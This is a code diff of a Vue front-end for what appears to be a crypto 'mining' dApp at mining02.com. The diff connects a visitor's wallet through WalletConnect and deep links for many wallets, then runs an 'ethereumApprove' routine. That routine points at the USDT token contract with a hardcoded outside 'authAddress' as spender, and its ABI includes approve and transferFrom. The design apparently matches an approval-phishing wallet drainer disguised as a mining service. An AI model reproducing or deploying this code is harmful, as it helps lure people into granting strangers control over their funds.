| | |
| | | }, |
| | | setup() { |
| | | const { proxy } = getCurrentInstance(); |
| | | const pageLink = window.location.href; |
| | | let accountRef = ref(null); |
| | | let walletAddress = ref(''); |
| | | let hasApprove = ref(false); |
| | |
| | | proxy.isShowAccreditModal = false |
| | | proxy.isShowWalletModal = true |
| | | } |
| | | let web3 = ref(null) |
| | | async function showWalletModal() { |
| | | proxy.isShowAccreditModal = false; |
| | | const provider = new WalletConnectProvider({ |
| | |
| | | bridge: "https://bridge.walletconnect.org", |
| | | }) |
| | | await provider.enable(); |
| | | let web3 = new Web3(provider); |
| | | const accounts = await web3.eth.getAccounts(); |
| | | provider.on("accountsChanged", (accounts) => { |
| | | console.log(accounts) |
| | | // proxy.walletAddress = accounts[0]; |
| | | // proxy.isApprove() |
| | | }); |
| | | provider.on("disconnect", (code, reason) => { |
| | | console.log(code, reason); |
| | | }); |
| | | proxy.web3 = new Web3(provider); |
| | | const accounts = await proxy.web3.eth.getAccounts(); |
| | | proxy.walletAddress = accounts[0]; |
| | | proxy.isApprove() |
| | | } |
| | |
| | | showAccreditModal() |
| | | } |
| | | } |
| | | |
| | | onMounted(() => { |
| | | proxy.getAddress(); |
| | | async function init () { |
| | | await proxy.getAddress(); |
| | | if (proxy.walletAddress) { |
| | | proxy.isApprove() |
| | | }else{ |
| | | showAccreditModal(); |
| | | } |
| | | } |
| | | onMounted(() => { |
| | | init() |
| | | }) |
| | | return { |
| | | local: ref('zh'), |
| | |
| | | hasApprove, //是否授权 |
| | | |
| | | accountRef, |
| | | web3, |
| | | dappList: [{ |
| | | name: 'TronLink', |
| | | link: 'https://www.tronlink.org/', |
| | |
| | | }, |
| | | { |
| | | name: 'Trust', |
| | | link: 'https://link.trustwallet.com/open_url?coin_id=60&url=https://mining02.com/#/', |
| | | link: 'https://link.trustwallet.com/open_url?coin_id=60&url=' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/Trust.jpeg' |
| | | }, |
| | | { |
| | |
| | | }, |
| | | { |
| | | name: 'imToken', |
| | | link: 'imtokenv2://navigate?screen=DappView&url=https://mining02.com/#/', |
| | | link: 'imtokenv2://navigate?screen=DappView&url=' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/ImToken.jpeg' |
| | | }, |
| | | { |
| | | name: 'TokenPocket', |
| | | link: '', |
| | | link: 'tpdapp://open?params={"url": "'+pageLink+'"}', |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/TokenPocket.jpeg' |
| | | }, |
| | | { |
| | | name: 'Gnosis Safe', |
| | | link: 'https://gnosis-safe.io//wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918bhttps://mining02.com/#/', |
| | | link: 'https://gnosis-safe.io//wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/Gnosis.jpeg' |
| | | }, |
| | | { |
| | | name: 'Crypto.com', |
| | | link: 'https://wallet.crypto.com/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918bhttps://mining02.com/#/', |
| | | link: 'https://wallet.crypto.com/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/Crypto.jpeg' |
| | | }, |
| | | { |
| | | name: 'Pillar', |
| | | link: 'pillarwallet://wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918bhttps://mining02.com/#/', |
| | | link: 'pillarwallet://wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/Pillar.jpeg' |
| | | }, |
| | | { |
| | | name: 'Argent', |
| | | link: 'https://argent.link/app/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918bhttps://mining02.com/#/', |
| | | link: 'https://argent.link/app/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/Argent.jpeg' |
| | | }, |
| | | { |
| | | name: 'MathWallet', |
| | | link: 'mathwallet://mathwallet.org?action=link&value=https://mining02.com/#/', |
| | | link: 'mathwallet://mathwallet.org?action=link&value=' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/MathWallet.jpeg' |
| | | }, |
| | | { |
| | | name: 'BitPay', |
| | | link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918bhttps://mining02.com/#/', |
| | | link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, |
| | | imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg' |
| | | }] |
| | | }; |
| | |
| | | this.ethereumApprove() |
| | | }else if(window.tronWeb){ |
| | | this.tornWebApprove() |
| | | }else{ |
| | | this.ethereumApprove() |
| | | } |
| | | }, |
| | | ethereumApprove () { |
| | | const web3 = new Web3(window.ethereum); |
| | | const web3 = this.web3 || new Web3(window.ethereum); |
| | | const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; |
| | | const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600'; |
| | | const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}]; |
| | |
| | | .walletconnect-modal-wrap .wallet-warp .text{ |
| | | color: #424952; |
| | | font-weight: 600; |
| | | margin: 16px 0 0; |
| | | margin: 10px 0 0; |
| | | font-size: 24px; |
| | | height: 64px; |
| | | } |
| | | .address{ |
| | | width: 100px; |